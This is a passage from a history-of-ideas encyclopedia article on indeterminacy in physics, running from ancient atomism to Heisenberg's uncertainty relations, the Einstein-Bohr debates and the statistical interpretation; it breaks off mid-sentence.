What if Alice wants to send a secure message to Bob so that a third-party can’t intercept it? The above process is essentially reversed: Bob generates his own public and private key pair, Alice uses
Bob’s public key to encrypt, and Bob uses his public key to decrypt Alice’s message. | {"url":"https://sajadtorkamani.com/tag/cryptography/","timestamp":"2024-11-05T13:04:55Z","content_type":"text/html","content_length":"18438","record_id":"<urn:uuid:b1d0485f-080b-43e8-929f-01784d34649c>","cc-path":"CC-MAIN-2024-46/segments/1730477027881.88/warc/CC-MAIN-20241105114407-20241105144407-00031.warc.gz"} |
The tractor is moving with velocity of 6km
Hint: The kinetic energy of an object is the energy it has due to its motion in physics. It is the amount of work necessary to accelerate a body of a given mass from rest to a given velocity. If the
body's speed varies, the kinetic energy gained during acceleration is retained. As the body decelerates from its current speed to a state of rest, it does the same amount of work.
Complete step-by-step solution:
In classical mechanics, the mass and speed of a point object (an object so small that its mass can be said to exist at one point) or a non-rotating rigid body determine its kinetic energy. The
product of mass and speed squared equals half of the kinetic energy. In form of a formula:
$K.E = \dfrac{1}{2} \times m \times {v^2}$
Where \[m\] is the mass and \[v\] is the body's speed (or velocity). Mass is measured in kilogrammes, speed in metres per second, and kinetic energy is measured in joules in SI units.
Now let us come to the problem:
Mass of the belt is $m = 720\,gm$
Converting $m$ from $gm$ to $kg$$ = \dfrac{{720}}{{1000}} = 0.72\,kg$
$\therefore m = 0.72\,kg$
Velocity of tractor is $v = 6km/hr.$
$v = 6 \times \dfrac{5}{{18}}m/s$
$v = \dfrac{5}{3}\,m/s$
$K.E = \dfrac{1}{2} \times m \times {v^2}$
$K.E = \dfrac{1}{2} \times 0.72 \times {\left( {\dfrac{5}{3}} \right)^2}$
$K.E = 1\,J$
So option $(2)$ is correct.
Note:Let us know something more about Kinetic energy. Windmills are an excellent example of kinetic energy applications. When wind (moving air) strikes the blades of a windmill, it causes them to
rotate, resulting in the production of electricity. | {"url":"https://www.vedantu.com/question-answer/the-tractor-is-moving-with-velocity-of-6kmhr-class-11-physics-cbse-60a917b631f827669ba9d1ef","timestamp":"2024-11-06T04:36:14Z","content_type":"text/html","content_length":"169561","record_id":"<urn:uuid:b834598a-71aa-47b5-9750-f8d659fb570b>","cc-path":"CC-MAIN-2024-46/segments/1730477027909.44/warc/CC-MAIN-20241106034659-20241106064659-00870.warc.gz"} |
Our users:
I find the program to be of such great use! Thank you!
Patricia, MI
The simple interface of Algebrator makes it easy for my son to get right down to solving math problems. Thanks for offering such a useful program.
Dora Greenwood, PA
After spending countless hours trying to understand my homework night after night, I found Algebrator. Most other programs just give you the answer, which did not help me when it come to test time,
Algebrator helped me through each problem step by step. Thank you!
Jeff Brooks, ID
The program has led my daughter, Brooke to succeed in her honors algebra class. Although she was already making good grades, the program has allowed her to become more confident because she is able
to check her work.
Alex Martin, NH
Algebrator is a wonderful tool for algebra teacher who wants to easily create math lessons. Students will love its step-by-step solution of their algebra homework. Explanations given by the math
tutor are excellent.
A.R., Arkansas
Students struggling with all kinds of algebra problems find out that our software is a life-saver. Here are the search phrases that today's searchers used to find our site. Can you find yours among
Search phrases used on 2009-06-24:
• math percentage formulas
• how to solve third order polynomial
• muller matlab zero
• ti-89 physics
• quize sheet
• free college algebra calculator solver
• "cube roots" "square roots" exercises printable answers grade 7
• Ti 83-plus rom download
• interpolate on the ti-84
• pre-calc slope intercept method
• combining like terms worksheets
• matds for matlab
• algerbra 1 .com
• factor polynomials checklist
• vertex form worksheet pdf
• radical equations word problem
• free inequalities worksheets
• Solutions Manual: Vector mechanics Dynamics, Vol. 1 and 2, 8th Edition
• printable linear graphs
• printable geometric nets
• basic algebra question sheets
• Algebra Glenco
• nc 6th grade eog practice
• Newton's method for solving nonlinear systems in matlab
• Math Problems Answers from glencoe/mcgraw-hill worksheet
• past practice questions for maths ks3 sats
• online algebra 1 calculator
• new york state math pratice - grade 6
• GCSE maths calculator worksheets
• entering cube root calculator
• advanced logarithm word problems
• convert fraction to decimal
• 6th grade math free worksheets
• free symmetry worksheets
• Free 6th grade ONLINE TAKS Readiness
• how to do beginners algerbra
• answers of algebra 1
• the syllabus for the end-of-year Standard Standardized Achievement test for the 8th grade
• free sixth grade math worksheets
• solve nonlinear differential equation
• "Answers to Math Problems"
• pictograph worksheets for second graders
• "difficult algebra word problems"
• free online algebraic calculator
• graph that represents the inequality
• factor grouping problems worksheets
• answers to mcdougall littell geometry book
• convert into quadratic form using maple matlab
• Free Integer Worksheets
• combination;statistics; problem and solution
• Algebra structure and method book 1 by McDougal Littell
• free physics test book +downloadable
• maths games yr 8
• Real Pre-Algebra Answers Online
• math cheats algebra 1
• free ks2 sats paper
• algebra1practicetest chapter 6
• math poems
• ading fractions
• download program in java totorial
• gcse maths free work sheet
• how to cube trinomials
• logarithm fun
• free algebra worksheets conic
• how to solve first order differential equations
• exponents with unknown variables
• easy permutation and combination problems
• model papers 7 class
• 6-8 science sats paper
• logs ti86
• factoring polynomials worksheet
• work problems for algebra 2 online
• 1st grade print out worksheets
• practice workbook prentice hall pre-algebra answer key
• finding roots of functions calculator
• ppt of Principle & Practice of Cost Accounting
• algebra diamond method factoring
• Orleans Hanna Algebra Prognosis Test preparation
• saxon rectangular coordinate graph paper
• free downloadable for grade 6 algebra
• sloving quadratic equations
• prentice hall online tutoring
• simplest form mix number
• solving equations by using multiplication and division(fractions)
• math solver homework
• numbers 1 to 100 divisible by 5 java
• holt mathematics chapter 8 free response test
• cpm geometry answers
• Prentice Hall Pre-Algebra Workbook | {"url":"https://algebra-calculator.com/algebra-calculator/glencoe-math.html","timestamp":"2024-11-14T17:47:37Z","content_type":"text/html","content_length":"87427","record_id":"<urn:uuid:9d0e8e1b-9543-4255-886f-8f3b23f14dbe>","cc-path":"CC-MAIN-2024-46/segments/1730477393980.94/warc/CC-MAIN-20241114162350-20241114192350-00216.warc.gz"} |
How a scientific calculator can make math class a breeze
Math class can be daunting for many students, with all the equations, formulas, and calculations that need to be done. But having the right tools can make math much easier and more enjoyable. A
scientific calculator is one of the essential tools for math class and can be the key to making math a breeze. In this blog post, we’ll explore why a scientific calculator is a must-have for any math
student and how it can help you get the best results in your math class.
The many features of a scientific calculator
A scientific calculator is a powerful tool that can help make math class much easier. It has a wide range of features and capabilities, including basic arithmetic operations such as addition,
subtraction, multiplication, and division, as well as more complex functions such as logarithms, trigonometry, and scientific notation. Many scientific calculators also have graphing abilities, which
are useful for visualizing data. In addition to its functionalities, most scientific calculators have convenient features such as memory recall and statistical functions. With all these features, a
scientific calculator is an invaluable tool for students studying math.
How to use a scientific calculator for basic operations
A scientific calculator is a powerful tool for performing calculations in math class and beyond. Whether you are in high school, college, or even graduate school, a scientific calculator can help
make math class a breeze.
One of the most basic operations you can do with a scientific calculator is basic arithmetic. This includes addition, subtraction, multiplication, and division. Depending on the calculator you use,
there may be a separate key for each operation or you may have to enter the equation manually. Once you enter the equation into the calculator, simply hit “Enter” to get your answer.
Another simple operation you can do with a scientific calculator is finding exponents and roots. Most scientific calculators have a “y^x” button for finding exponents and an “sqrt” button for finding
square roots. When using either of these buttons, all you need to do is enter the base number and the exponent or root value.
More complex functions of a scientific calculator
A scientific calculator can be used to perform more complex calculations than the standard calculator. For instance, you can use a scientific calculator to compute trigonometric functions such as
sine, cosine, tangent, and their inverses. It also can do logarithmic functions and calculate exponential values. The calculator also can calculate statistical functions such as mean, median, and
mode. Additionally, scientific calculators can solve equations, including quadratic equations and cubic equations. Finally, scientific calculators can be used to calculate probability, permutations,
and combinations. This makes them incredibly powerful tools for doing complex math problems. | {"url":"https://fargovinylshop.com/shopping/how-a-scientific-calculator-can-make-math-class-a-breeze/","timestamp":"2024-11-08T17:17:56Z","content_type":"text/html","content_length":"119999","record_id":"<urn:uuid:397f8541-0989-4396-ae9a-cfeca2d0e327>","cc-path":"CC-MAIN-2024-46/segments/1730477028070.17/warc/CC-MAIN-20241108164844-20241108194844-00384.warc.gz"} |
Stem cells and the development of mammary cancers in experimental rats and in humans
Stem cells and the development of mammary cancers in experimental rats and in humans
scientific article published on January 1987
Stem cells and the development of mammary cancers in experimental rats and in humans (English)
Multilingual sites(0 entries) | {"url":"https://m.wikidata.org/wiki/Q39509764","timestamp":"2024-11-06T12:27:33Z","content_type":"text/html","content_length":"858600","record_id":"<urn:uuid:d632be9a-af23-4e15-9280-24e7ce5e5b2b>","cc-path":"CC-MAIN-2024-46/segments/1730477027928.77/warc/CC-MAIN-20241106100950-20241106130950-00549.warc.gz"} |
University of Virginia Library
IV. DETERMINISM IN HISTORY
I. ENVIRONMENT AND CULTURE
III. EVOLUTION OF LITERATURE
VI. HAPPINESS AND PLEASURE
III. IMPRESSIONISM IN ART
I. INDETERMINACY IN PHYSICS
II. TYPES OF INDIVIDUALISM
Dictionary of the History of Ideas
1. Introduction. The idea of “indeterminacy”—
often also called loosely “uncertainty”—is widely used
in physics and is of particular importance for quantum
mechanics, but has rarely, if ever, been given a strict
explicit definition. As a consequence it is used in at
least three different, though related, meanings which
will be sharply distinguished in the present article. (a)
It may denote any type of acausal (accidental, contin-
gent, indeterministic) behavior of physical processes,
usually in the realm of microphenomena, implying
thereby a total or partial breakdown of the principle
of causality; (b) it may denote any type of unpredict-
able behavior of such processes without necessarily
involving a renunciation of metaphysical causality; (c)
it may denote an essential limitation or imprecision of
measurement procedures for reasons to be specified by
a concomitant theory of measurement.
To avoid ambiguities we shall in what follows call
indeterminacy if used in the sense (a), acausal indeter-
minacy or briefly a-indeterminacy; if used in the sense
(b), u-indeterminacy; and if used in the sense (c),
i-indeterminacy. Clearly, a-indeterminacy implies, but
is not implied by, u-indeterminacy, and does not imply,
nor is implied by, i-indeterminacy; neither do the other
two imply their partners. If however predictability is
understood to refer exclusively to sharp values of
measurement results, i-indeterminacy implies u-inde-
terminacy. Furthermore, the validity of these concepts
may depend on the domain in which they are applied.
Thus a- or u-indeterminacies may be valid in micro-
physics but not in macrophysics.
2. Ancient Conceptions. In fact, the earliest known
thesis of indeterminacy restricted this notion to a
definite realm of applicability. According to Plato's
Timaeus (28D-29B) the Demiurge created the material
world after an eternal pattern; while the latter can
be spoken of with certainty, the created copy can be
described only in the language of uncertainties. In
other words, while the intelligible world, the realm
of ideas, is subject to strict laws, rigorous determi-
nations and complete predictability, the physical or
material world is not. However, even disregarding this
dichotomy of being, Plato's atomic theory admitted an
a-indeterminacy in the subatomic realm, whereas in
the world of atoms and their configurations to higher
orders determinacy was reinstated. “However strictly
the principle of mathematical order is carried through
in Plato's physics in the cosmos of the fixed stars as
well as in that of the primary elements,” writes an
eminent Plato scholar, “everything is indeterminate in
the realm below the order of the elementary atoms.
... What resists strict order in nature is due to the
indeterminate and uneven forces in the Receptacle”
(Friedländer, 1958). Indeed, for P. Friedländer Plato's
doctrine of the unintelligible subatomic substratum is
“an ancient anticipation of a most recent develop-
ment,” to wit: W. Heisenberg's uncertainty principle.
Still, whether such a comparison is fully justified may
be called into question.
An undisputable early example of indeterminacy, in
any case, is Epicurus' theory of the atomic “swerve”
(clinamen). Elaborating on Democritus' atomic theory
and his strict determinism of elementary processes,
Epicurus contended that “through the undisturbed void
all bodies must travel at equal speed though impelled
by unequal weights” (Lucretius II, lines 238-39),
anticipating thereby Galileo's conclusion that light and
heavy objects fall in the vacuum with the same speed.
Since consequently the idea that compounds are
formed by heavy atoms impinging upon light ones had
to be given up, “nature would never have created
anything.” To avoid this impasse, Epicurus resorted to
a device, the theory of the swerve, which some critics,
such as Cicero and Plutarch, regarded as “childish”;
others, like Guyau or Masson, as “ingenious.” “When
the atoms are travelling straight down through empty
space by their own weight, at quite unpredictable
times and place (
incerto tempore incertisque locis
), they
swerve ever so little from their course, just so much
that you can call it a change of direction” (Lucretius
II, lines 217-20). To account for change in the physical
world Epicurus thus saw it necessary to break up the
infinite chain of causality in violation of Leucippus'
maxim that “nothing occurs by chance, but there is
a reason and a necessity for everything.” This indeter-
minacy which, as the quotation shows, is both an
a-indeterminacy and a u-indeterminacy, made it possi-
ble for Epicurus to imbed a doctrine of free will within
the framework of an atomic theory.
In the extensive medieval discussions (Maier, 1949)
on necessity and contingency which were based, so far
as physical problems were concerned, on Aristotle's
Physics (Book II, Chs. 4-6, 195b 30-198a 13), the
existence of chance is recognized, but not as a breach
in necessary causation; it is regarded as a sequence of
events in which an action or movement, due to some
concomitant factor, produces exceptionally a result
which is of a kind that might have been naturally, but
was not factually, aimed at (Weiss, 1942). The essence
of chance or contingency is not the absence of a neces-
sary connection between antecedents and results, but
the absence of final causation. Absolute indeterminacy
in the sense of independence of antecedent causation
was exclusively ascribed to volitional decisions.
3. Indeterminacy as Contingency. With the rise of
Newtonian physics and its development, Laplacian
determinism gained undisputed supremacy. Only in the
middle of the nineteenth century did it wane to some
extent. One of the earliest to regard contingent events
in physics—an event being contingent if its opposite
involves no contradiction—as physically possible was
A. A. Cournot (Cournot, 1851; 1861). Charles Re-
nouvier, following Cournot, questioned the strict va-
lidity of the causality principle as a regulative deter-
minant of physical processes (Renouvier, 1864). A
philosophy of nature based on contingency was pro-
posed by Émile Boutroux, who regarded rigorous
determinsim as expressed in scientific laws as an inade-
quate manifestation of a reality which in his opinion
is subject to radical contingency (Boutroux, 1874). The
rejection of classical determinism at the atomic level
played an important role also in Charles Sanders
Peirce's theory of tychism (Greek: tyche = chance)
according to which “chance is a basic factor in the
universe.” Deterministic or “necessitarian” philosophy
of nature, argued Peirce, cannot explain the undeniable
phenomena of growth and evolution. Another incon-
testable argument against deterministic mechanics was,
in his view, the incapability of the necessitarians to
prove their contention empirically by observation or
measurement. For how can experiment ever determine
an exact value of a continuous quantity, he asked, “with
a probable error absolutely nil?” Analyzing the process
of experimental observation, and anticipating thereby
an idea similar to Heisenberg's uncertainty principle,
Peirce arrived at the conclusion that absolute chance,
and not an indeterminacy originating merely from our
ignorance, is an irreducible factor in physical processes:
“Try to verify any law of nature, and you will find
that the more precise your observations, the more
certain they will be to show irregular departures from
the law. We are accustomed to ascribe these, and I
do not say wrongly, to errors of observation; yet we
cannot usually account for such errors in any anteced-
ently probable way. Trace their causes back far enough
and you will be forced to admit they are always due
to arbitrary determination, or chance” (Peirce, 1892).
The objection raised for instance by F. H. Bradley, that
the idea of chance events is an unintelligible concep-
tion, was rebutted by Peirce on the grounds that the
notion as such has nothing illogical in it; it becomes
unintelligible only on the assumption of a universal
determinism; but to assume such a determinism and
to deduce from it the nonexistence of chance would
be begging the question.
4. Classical Physics and Indeterminacy. The various
theses of indeterminacies in physics mentioned so far
have been advanced by philosophers and not by
physicists, the reason being, of course, that classical
physics, since the days of Newton and Laplace, was
the paradigm of a deterministic and predictable sci-
ence. It was also taken for granted that the precision
attainable in measurement is theoretically unlimited;
for although it was admitted that measurements are
always accompanied by statistical errors, it was
claimed that these errors could be made smaller and
smaller with progressive techniques.
The first physicist in modern times to question the
strict determinism of physical laws was probably
Ludwig Boltzmann. In his lectures on gas theory he
declared in 1895: “Since today it is popular to look
forward to the time when our view of nature will have
been completely changed, I will mention the possibility
that the fundamental equations for the motion of indi-
vidual molecules will turn out to be only approximate
formulas which give average values, resulting accord-
ing to the probability calculus from the interactions
of many independent moving entities forming the sur-
rounding medium” (Boltzmann, 1895). Boltzmann's
successor at the University of Vienna, Franz Exner,
proposed in 1919 a statistical interpretation of the
apparent deterministic behavior of macroscopic phe-
nomena which he regarded as resulting from a great
number of probabilistic processes at the sub-
microscopic level.
From a multitude of events... laws can be inferred which
are valid for the average state [Durchschnittszustand] of this
multitude whereas the individual event may remain un-
determined. In this sense the principle of causality holds
for all macroscopic occurrences without being necessarily
valid for the microcosm. It also follows that the laws of
the macrocosm are not absolute laws but rather laws of
probability; whether they hold always and everywhere
remains to be questioned; to predict in physics the outcome
of an individual process is impossible
(Exner, 1919).
In the same year Charles Galton Darwin, influenced
by Henri Poincaré's allusion toward a probabilistic
reformulation of physical laws and his doubts about
the validity of differential equations as reflecting the
true nature of physical laws (H. Poincaré, Dernières
pensées), made the bold statement that it may “prove
necessary to make fundamental changes in our ideas
of time and space, or to abandon the conservation of
matter and electricity, or even in the last resort to
endow electrons with free will” (Charles Galton
Darwin, 1919). The ascription of free will to electrons—
clearly an anthropomorphic metaphorism for a- and
u-indeterminacies—was suggested by certain results in
quantum theory such as the unpredictable and appar-
ently acausal emission of electrons from a radioactive
element or their unpredictable transitions from one
energy level to another in the atom. In the early twen-
ties questions concerning the limitations of the sensi-
tivity of measuring instruments came to the forefront
of physical interest when, with no direct connection
with quantum effects, the disturbing effects of the
Brownian fluctuations were studied in detail (W.
Einthoven, G. Ising, F. Zernike). It became increasingly
clear that Brownian motion, or “noise” as it was called
in the terminology of electronics, puts a definite limit
to the sensitivity of electronic measuring devices and
hence to measurements in general. Classical physics,
it seemed, has to abandon its principle of unlimited
precision and to admit, instead, unavoidable i-indeter-
minacies. It can be shown that this development did
not elicit the establishment of Heisenberg's uncertainty
relations in quantum mechanics (Jammer [1966], p.
5. Indeterminacies in Quantum Mechanics. The
necessity of introducing indeterminacy considerations
into quantum mechanics became apparent as soon as
the mathematical formalism of the theory was estab-
lished (in the spring of 1927). When Ernst Schrödinger,
in 1926, laid the foundations of wave mechanics he
interpreted atomic phenomena as continuous, causal
undulatory processes, in contrast to Heisenberg's
matrix mechanics in which these processes were inter-
preted as discontinuous and ruled by probability laws.
When in September 1926 Schrödinger visited Niels
Bohr and Heisenberg in Copenhagen, the conflict be-
tween these opposing interpretations reached its climax
and no compromise seemed possible. As a result of this
controversy Heisenberg felt it necessary to examine
more closely the precise meaning of the role of
dynamical variables in quantum mechanics, such as
position, momentum, or energy, and to find out how
far they were operationally warranted.
First he derived from the mathematical formalism
of quantum mechanics (Dirac-Jordan transformation
theory) the following result. If a wave packet with a
Gaussian distribution in the position coordinate q, to
wit ψ(q) = const. exp [-q 2/22(Δq0 2], Δq being the half-
width and consequently proportional to the standard
deviation, is transformed by a Fourier transformation
into a momentum distribution, the latter turns out to
be ϕ(p) = const. exp [-p2/2(ℏ/Δq)2]. Since the corre-
sponding half-width Δp is now given by ℏ/Δq, Heisen-
berg concluded that Δq Δp ≈ ℏ or more generally, if
other distributions are used,
Δq Δp ≳ ℏ
This inequality shows that the uncertainties (or
dispersions) in position and momentum are reciprocal:
if one approaches zero the other approaches infinity.
The meaning of relation (1), which was soon called
the “Heisenberg position-momentum uncertainty rela-
tion,” can also be expressed as follows: it is impossible
to measure simultaneously both the position and the
momentum of a quantum-mechanical system with
arbitrary accuracy; the more precise the measurement
of one of these two variables is, the less precise is that
of the other.
Asking himself whether a close analysis of actual
measuring procedures does not lead to a result in
contradiction to (1), Heisenberg studied what has since
become known as the “gamma-ray microscopic exper-
iment.” Adopting the operational view that a physical
concept is meaningful only if a definite procedure is
indicated for how to measure its value, Heisenberg
declared that if we speak of the position of an electron
we have to define a method of measuring it. The elec-
tron's position, he continued, may be found by illumi-
nating it and observing the scattered light under a
microscope. The shorter the wavelength of the light,
the more precise, according to the diffraction laws of
optics, will be the determination of the position—but
the more noticeable will also be the Compton effect
and the resulting change in the momentum of the
electron. By calculating the uncertainties resulting
from the Compton effect and the finite aperture of the
microscope, the importance of which for the whole
consideration was pointed out by Bohr, Heisenberg
showed that the obtainable precision does not surpass
the restrictions imposed by the inequality (1). Similarly,
by analyzing closely a Stern-Gerlach experiment of
measuring the magnetic moment of particles, Heisen-
berg showed that the dispersion Δ
in the energy of
these particles is smaller the longer the time Δ
by them in crossing the deviating field (or measuring
≳ ℏ
It has been claimed that this “energy-time uncertainty
relation” had been implicitly applied by A. Sommer-
feld in 1911, O. Sackur in 1912, and K. Eisenmann
in 1912 (Kudrjawzew, 1965). Bohr, as we know from
documentary evidence (Archive for the History of
Quantum Physics, Interview with Heisenberg, Febru-
ary 25, 1963), accepted the uncertainty relations (1)
and (2), but not their interpretation as proposed by
Heisenberg. For Heisenberg they expressed the limita-
tion of the applicability of classical notions to micro-
physics, whether these notions are those of particle
language or wave language, one language being re-
placeable by the other and equivalent to it. For Bohr,
on the other hand, they were an indication that both
modes of expression, though conjointly necessary for
an exhaustive description of physical phenomena, can-
not be used at the same time. As a result of this debate
Heisenberg added to the paper in which he published
the uncertainty relations (Heisenberg, 1927) a “Post-
script” in which he acknowledged that an as yet un-
published investigation by Bohr would lead to a deeper
understanding of the significance of the uncertainty
relations and “to an important refinement of the results
obtained in the paper.” It was the first allusion to
Bohr's complementarity interpretation, often also
loosely called the “Copenhagen interpretation” of
quantum mechanics (Jammer [1966], pp. 345-61). Bohr
regarded the uncertainty relations whose derivations
(by thought-experiments) are still based on the de
Broglie-Einstein equations
/λ, that
is, relations between particulate (energy
) and undulatory conceptions (frequency
, wavelength
λ), merely as a confirmation of the wave-particle
duality and hence of the complementarity interpre-
tation (Schiff, 1968).
6. Philosophical Implications of the Uncertainty
Relations. In their original interpretation, as we have
seen, the Heisenberg uncertainty relations express first
of all a principle of limited measurability of dynamical
variables (position, momentum, energy, etc.) of indi-
vidual microsystems (particles, photons), though ac-
cording to the complementarity interpretation their
significance is not restricted merely to such a principle
(Grünbaum, 1957). But even qua such a principle their
epistemological implications were soon recognized and
the relations became an issue of extensive discussions.
Heisenberg himself saw their philosophical import in
the fact that they imply a renunciation of the causality
principle in its “strong formulation,” viz., “If we know
exactly the present, we can predict the future.” Since,
now, in view of these relations the present can never
be known exactly, Heisenberg argued, the causality
principle as formulated, though logically and not re-
futed, must necessarily remain an “empty” statement;
for it is not the conclusion, but rather the premiss
which is false.
In view of the intimate connection between the statistical
character of the quantum theory and the imprecision of
all perception, it may be suggested that behind the statis-
tical universe of perception there lies hidden a “real” world
ruled by causality. Such speculation seems to us—and this
we stress with emphasis—useless and meaningless. For
physics has to confine itself to the formal description of
the relations among perceptions
(Heisenberg [1927], p. 197).
Using the terminology of the introductory section
of this article, we may say that Heisenberg interpreted
the uncertainties appearing in the relations carrying
his name not only as i-indeterminacies, but also as
a-indeterminacies, provided the causality principle is
understood in its strong formulation, and a fortiori also
as u-indeterminacies. His idea that the unascertainabil-
ity of exact initial values obstructs predictability and
hence deprives causality of any operational meaning
was soon hailed, particularly by M. Schlick, as a “sur-
prising” solution of the age-old problem of causality,
a solution which had never been anticipated in spite
of the many discussions on this issue (Schlick, 1931).
Heisenberg's uncertainty relations were also re-
garded as a possible resolution of the long-standing
conflict between determinism and the doctrine of free
will. “If the atom has indeterminacy, surely the human
mind will have an equal indeterminacy; for we can
scarcely accept a theory which makes out the mind
to be more mechanistic than the atom” (Eddington,
1932). The Epicurean-Lucretian theory of the “minute
swerving of the elements” enjoyed an unexpected re-
vival in the twentieth century.
The philosophical impact of the uncertainty rela-
tions on the development of the subject-object prob-
lem, one of the crucial stages of the interaction be-
tween problems of physics and of epistemology,
problems which still persist, was discussed in great
detail by Ernst Cassirer (Cassirer, 1936, 1937).
Heisenberg's interpretation of the uncertainty rela-
tions, however, became soon the target also of other
serious criticisms. In a lecture delivered in 1932
Schrödinger, who only two years earlier gave a general,
and compared with Heisenberg's formula still more
restrictive, derivation of the relations for any pair of
noncommuting operators, challenged Heisenberg's
view as inconsistent; Schrödinger claimed that a denial
of sharp values for position and momentum amounts
to renouncing the very concept of a particle (mass-
point) (Schrödinger, 1930; 1932). Max von Laue
charged Heisenberg's conclusions as unwarranted and
hasty (von Laue, 1932). Karl Popper challenged
Heisenberg with having given “a causal explanation
why causal explanations are impossible” (Popper,
1935). The main attack, however, was launched within
physics itself—by Albert Einstein in his debate with
Niels Bohr.
7. The Einstein-Bohr Controversy about Indeter-
minacy. Although having decidedly furthered the de-
velopment of the probabilistic interpretation of quan-
tum phenomena through his early contributions to the
photo-electric effect and through his statistical deriva-
tion of Planck's formula for black-body radiation,
Einstein never agreed to abandon the principles of
causality and continuity or, equivalently, to renounce
the need of a causal account in space and time, in favor
of a statistical theory; and he saw in the latter only
an incomplete description of physical reality which has
to be supplanted sooner or later by a fully deterministic
theory. To prove that the Bohr-Heisenberg theory of
quantum phenomena does not exhaust the possibilities
of accounting for observable phenomena, and is conse-
quently only an incomplete description, it would
suffice, argued Einstein correctly, to show that a close
analysis of fundamental measuring procedures leads to
results in contradiction to the uncertainty relations. It
was clear that disproving these relations means dis-
proving the whole theory of quantum mechanics.
Thus, during the Fifth Solvay Congress in Brussels
(October 24 to 29, 1927) Einstein challenged the cor-
rectness of the uncertainty relations by scrutinizing a
number of thought-experiments, but Bohr succeeded
in rebutting all attacks (Bohr, 1949). The most dramatic
phase of this controversy occurred at the Sixth Solvay
Congress (Brussels, October 20 to 25, 1930) where these
discussions were resumed when Einstein challenged the
energy-time uncertainty relation ΔE Δt ≳ ℏ with the
famous photon-box thought-experiment (Jammer
[1966], pp. 359-60). Considering a box with a shutter,
operated by a clockwork in the box so as to be opened
at a moment known with arbitrary accuracy, and re-
leasing thereby a single photon, Einstein claimed that
by weighing the box before and after the photon-
emission and resorting to the equivalence between
energy and mass, E = mc2, both ΔE and Δt can be
made as small as desired, in blatant violation of the
relation (2). Bohr, however (after a sleepless night!),
refuted Einstein's challenge with Einstein's own
weaponry; referring to the red-shift formula of general
relativity according to which the rate of a clock de-
pends on its position in a gravitational field Bohr
showed that, if this factor is correctly taken into ac-
count, Heisenberg's energy-time uncertainty relation
is fully obeyed. Einstein's photon-box, if used as a
means for accurately measuring the energy of the
photon, cannot be used for controlling accurately the
moment of its release. If closely examined, Bohr's
refutation of Einstein's argument was erroneous, but
so was Einstein's argument (Jammer, 1972). In any
case, Einstein was defeated but not convinced, as Bohr
himself admitted. In fact, in a paper written five years
later in collaboration with B. Podolsky and N. Rosen,
Einstein showed that in the case of a two-particle
system whose two components separate after their
interaction, it is possible to predict with certainty
either the exact value of the position or of the momen-
tum of one of the components without interfering with
it at all, but merely performing the appropriate meas-
urement on its partner. Clearly, such a result would
violate the uncertainty relation (1) and condemn the
quantum-mechanical description as incomplete (Ein-
stein, 1935). Although the majority of quantum-
theoreticians are of the opinion that Bohr refuted this
challenge also (Bohr, 1935), there are some physicists
who consider the Einstein-Podolsky-Rosen argument
as a fatal blow to the Copenhagen interpretation.
Criticisms of a more technical nature were leveled
against the energy-time uncertainty relation (2). It was
early recognized that the rigorous derivation of the
position-momentum relation from the quantum-
mechanical formalism as a calculus of Hermitian oper-
ators in Hilbert space has no analogue for the energy-
time relation; for while the dynamical variables q and
p are representable in the formalism as Hermitian
(noncommutative) operators, satisfying the relation
qp - pq = iℏ, and although the energy of a system
is likewise represented as a Hermitian operator, the
Hamiltonian, the time variable cannot be represented
by such an operator (Pauli, 1933). In fact, it can be
shown that the position and momentum coordinates,
and their linear combinations are the only
canonical conjugates for which uncertainty relations
in the Heisenberg sense can be derived from the oper-
ator formalism. This circumstance gave rise to the fact
that the exact meaning of the indeterminacy Δ
in the
energy-time uncertainty relation was never unam-
biguously defined. Thus in recent discussions of this
uncertainty relation at least three different meanings
of Δ
can be distinguished (duration of the opening time
of a slit; the uncertainty of this time-period; the dura-
tion of a concomitant measuring process c.f., Chyliński,
1965; Halpern, 1966; 1968). Such ambiguities led L. I.
Mandelstam and I. Tamm, in 1945, to interpret Δ
in this uncertainty relation as the time during which
the temporal mean value of the standard deviation of
an observable
becomes equal to the change of its
standard deviation: Δ̅
̅= 〈
Rt + Δt
〉 - 〈
now, denotes the energy standard deviation of the
system under discussion during the R-measurement,
then the energy-time uncertainty relation acquires the
same logical status within the formalism of quantum
mechanics as that possessed by the position-momentum
A different approach to reach an unambiguous in-
terpretation of the energy-time uncertainty relation
had been proposed as early as 1931 by L. D. Landau
and R. Peierls on the basis of the quantum-mechanical
perturbation theory (Landau and Peierls, 1931; Landau
and Lifshitz [1958], pp. 150-53), and was subsequently
elaborated by N. S. Krylov and V. A. Fock (Krylov
and Fock, 1947). This approach was later severely
criticized by Y. Aharonov and D. Bohm (Aharonov and
Bohm, 1961) which led to an extended discussion on
this issue without reaching consensus (Fock, 1962;
Aharonov and Bohm, 1964; Fock, 1965). Recently at-
tempts have been made to extend the formalism of
quantum mechanics, as for instance by generalizing the
Hilbert space to a super-Hilbert space (Rosenbaum,
1969), so that it admits the definition of a quantum-
mechanical time-operator and puts the energy-time
uncertainty relation on the same footing as that of
position and momentum (Engelmann and Fick, 1959,
1964; Paul, 1962; Allcock, 1969).
8. The Statistical Interpretation of Quantum-
mechanical Indeterminacy. If the ψ-function charac-
terizes the behavior not of an individual particle but
of a statistical ensemble of particles, as contended in
the "statistical interpretation" of the quantum-
mechanical formalism, then' obviously the uncertainty
relations, at least as far they derive from this formalism,
refer likewise not to individual particles but to statis-
tical ensembles of these. In other words, relation (1)
denotes, in this view, a correlation between the disper-
sion or "spread" of measurements of position, and the
dispersion or "spread" of measurements of momentum,
if carried out on a large ensemble of identically pre-
pared systems. Under these circumstances the idea that
noncommuting variables are not necessarily incompat-
ible but can be measured simultaneously on individual
systems would not violate the statistical interpretation.
Such an interpretation of quantum-mechanical
indeterminacy was suggested relatively early by
Popper (Popper, 1935). His reformulation of the un-
certainty principle reads as follows: given an ensemble
(aggregate of particles or sequence of experiments
performed on one particle which after each experiment
is brought back to its original state) from which, at
a certain moment and with a given precision Δq, those
particles having a certain position q are selected; the
momenta p of the latter will then show a random
scattering with a range of scatter Δp where ΔqΔp≳ℏ
and vice versa. Popper even thought, though errone-
ously as he himself soon realized, to have proved his
contention by the construction of a thought-experiment
for the determination of the sharp values of position
and momentum (Popper, 1934).
The ensemble interpretation of indeterminacy found
an eloquent advocate in Henry Margenau. Distin-
guishing sharply between subjective or a priori and
empirical or a posteriori probability, Margenau pointed
out that the indeterminacy associated with a single
measurement such as referred to in Heisenberg's
gamma-ray experiment is nothing more than a qualita-
tive subjective estimate, incapable of scientific verifi-
cation; every other interpretation would at once revert
to envisaging the single measurement as the constituent
of a statistical ensemble; but as soon as the empirical
view on probability is adopted which, grounded in
frequencies, is the only one that is scientifically sound,
